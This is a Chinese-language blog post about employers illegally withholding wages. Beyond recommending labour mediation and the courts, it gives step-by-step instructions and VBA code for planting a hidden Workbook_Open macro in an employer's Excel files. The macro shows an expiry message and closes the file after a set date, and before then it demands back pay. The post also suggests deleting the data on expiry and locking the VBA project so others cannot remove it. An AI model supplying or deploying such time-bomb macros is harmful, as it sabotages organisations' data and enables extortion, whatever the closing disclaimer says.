在很多职场，很多公司，可以说，在公司上班的，都是弱势群体，虽然国家三令五申，要求按照劳动法执行，但是仍有部分企业，不给加班费就算了，还到处克扣员工工资，小编见过的如下：
提前一个月辞职？扣培训费，扣除一整年公司福利；
有急事紧急辞职？扣工资50%，再扣培训费，扣压在公司的福利，扣全勤奖，扣工龄奖
*辞职？照扣不误
员工问，什么情况下走，不扣？提前8个月都扣，除非当初你没入职，不是我们的员工，不扣，服了。
说实话，小编当初听到这些HR的解释，瞬间一头冷汗，要知道，上面都是违反劳动法的；那么，我们就没办法了吗？
有！
去劳动局申请调解，一般只要一到劳动局，他们都乖乖的给了
调解不成，我们去法院，这样最有效
就是我们今天讲的重点，如果老板太狠，扣我们很多钱，我们也可以保护我们自己
方法：讲我们再公司做的EXCEL文件，全部添加上代码，离开后有使用如期，到期前几天，给他个提醒，到期删除我们自己做的表格，如果有重要数据，让老板主动连你你，给你工资。
步骤1，将EXCEL保存为启用宏的工作表
步骤2，按alt F11，进入VBA设置界面，将代码复制进入，如图
代码：
Private Sub Workbook_Open()
Dim d1 As Date
d1 = #7/1/2017#
If d1 < Now Then
MsgBox "本文件已在" & d1 & "到期！", vbOKOnly
ThisWorkbook.Close (False)
Else
MsgBox "本文件将在" & d1 & "到期！请把欠我的工资还给我，开通永久使用权", vbOKOnly
End If
End Sub
步骤3，将工作表强制启用宏，这个本篇不说了，亲可以搜索小编前两天的发帖，有提到，
步骤4，将VBA工程文件加密。
这样快到期时，就会出现提醒
本文件将在" & d1 & "到期！请把欠我的工资还给我，开通永久使用权"
如果是重要的文件，老板肯定会联系你，哈哈，即使公司有高手，懂这个，他们也不敢去弄，因为怕猜忌！
不要用于非法用途，特别重要的不要这么做，违法！这里提供的只是一种思路，开阔一下我们的办公思维。代码未经测试，亲们可以自行测试，网上这样的也很多，让你的职场工作中工资不被扣。
